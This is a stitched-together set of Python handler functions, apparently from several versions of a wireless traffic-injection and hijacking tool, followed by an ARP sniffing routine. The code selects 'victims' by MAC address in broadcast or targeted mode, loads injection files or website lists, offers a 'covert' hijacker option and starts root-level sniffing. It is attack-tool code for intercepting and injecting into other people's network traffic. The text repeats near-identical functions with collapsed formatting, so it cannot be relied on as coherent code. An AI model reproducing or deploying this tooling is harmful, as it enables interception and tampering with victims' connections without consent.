def handler(self, args, websites): """Handle injection without a domain list""" ## Victim parameters if args.covert: ## Broadcast mode if not args.t: ### Trace out what highjacker is vp = VictimParameters(inject_file=args.injection, covert=args.covert, hijack='hijacker') ## Targeted mode else: vp = VictimParameters(inject_file=args.injection, covert=args.covert) else: vp = VictimParameters(inject_file=args.injection) ## Broadcast mode if not args.t: if args.exclude_hosts is None: ph = PacketHandler(Args=args, i=args.i, victim_parameters=vp) else: ph = PacketHandler(Args=args, i=args.i, victim_parameters=vp, excluded=args.exclude_hosts) ## Targeted mode else: victims = [] for victim in args.t: v1 = Victim(mac=victim, victim_parameters=vp) victims.append(v1) if args.exclude_hosts is None: ph = PacketHandler(Args=args, i=args.i, victims=victims) else: ph = PacketHandler(Args=args, i=args.i, victims=victims, excluded=args.exclude_hosts) ## Begin sniffing if 'mon' in args.m: snif = Sniffer(ph, m=args.m) snif.threaded_sniff(args) else: ## Broadcast mode if not args.t: snif = Sniffer(ph, m=args.m, filter='') ## Targeted mode else: snif = Sniffer(ph, m=args.m) snif.threaded_sniff(args)
def sniffer_subroutine(arguments): """ Starts the sniffing subroutine instantiating a Sniffer object, with its attributes defined by the application arguments. User must have root permissions. :param arguments: Application arguments :type arguments: argparse.Namespace """ print_success("Starting sniffer subroutine.") # If user has no root permissions, exit and show an error if not is_root(): halt_fail("You must run the script with root privileges. Exiting...") sniffer = Sniffer(arguments.interface, arguments.gateway, arguments.targets, arguments.localnet, arguments.randomize, arguments.arp_type, arguments.output_directory, arguments.output_filename, arguments.sniff_input_file, arguments.filter, arguments.timeout, arguments.packet_count, arguments.verbose) sniffer.start_sniffing()
def handler(self, args): """Handle injection using the contents of a given file""" ## Victim parameters if args.covert: vp = VictimParameters(inject_file=args.injection, covert=args.covert) else: vp = VictimParameters(inject_file=args.injection) ## Broadcast mode if not args.t: ph = PacketHandler(Args=args, i=args.i, victim_parameters=vp) ## Targeted mode else: victims = [] for victim in args.t: v1 = Victim(mac=victim, victim_parameters=vp) victims.append(v1) ph = PacketHandler(Args=args, i=args.i, victims=victims) ## Begin sniffing snif = Sniffer(ph, args, m=args.m) snif.threaded_sniff(args) ## Here
def handler(self, args, websites): """Handle injection without a domain list""" ## Victim parameters if args.covert: vp = VictimParameters(inject_file = args.injection, covert = args.covert) else: vp = VictimParameters(inject_file = args.injection) ## Broadcast mode if not args.t: if args.exclude_hosts is None: ph = PacketHandler(Args = args, i = args.i, victim_parameters = vp) else: ph = PacketHandler(Args = args, i = args.i, victim_parameters = vp, excluded = args.exclude_hosts) ## Targeted mode else: victims = [] for victim in args.t: v1 = Victim(mac = victim, victim_parameters = vp) victims.append(v1) if args.exclude_hosts is None: ph = PacketHandler(Args = args, i = args.i, victims = victims) else: ph = PacketHandler(Args = args, i = args.i, victims = victims, excluded = args.exclude_hosts) ## Begin sniffing #snif = Sniffer(ph, m = args.m) snif = Sniffer(ph, args, m = args.m) snif.threaded_sniff(args)
def handler(self, args, websites): """Handle domain list""" ## Victim parameters if args.covert: vp = VictimParameters(websites=websites, covert=args.covert) else: vp = VictimParameters(websites=websites) ## Broadcast mode if not args.t: if args.exclude_hosts is None: ph = PacketHandler(Args=args, i=args.i, victim_parameters=vp) else: ph = PacketHandler(Args=args, i=args.i, victim_parameters=vp, excluded=args.exclude_hosts) ## Targeted mode else: victims = [] for victim in args.t: v1 = Victim(mac=victim, victim_parameters=vp) victims.append(v1) if args.exclude_hosts is None: ph = PacketHandler(Args=args, i=args.i, victims=victims) else: ph = PacketHandler(Args=args, i=args.i, victims=victims, excluded=args.exclude_hosts) ## Begin sniffing snif = Sniffer(ph, args, m=args.m) snif.threaded_sniff(args)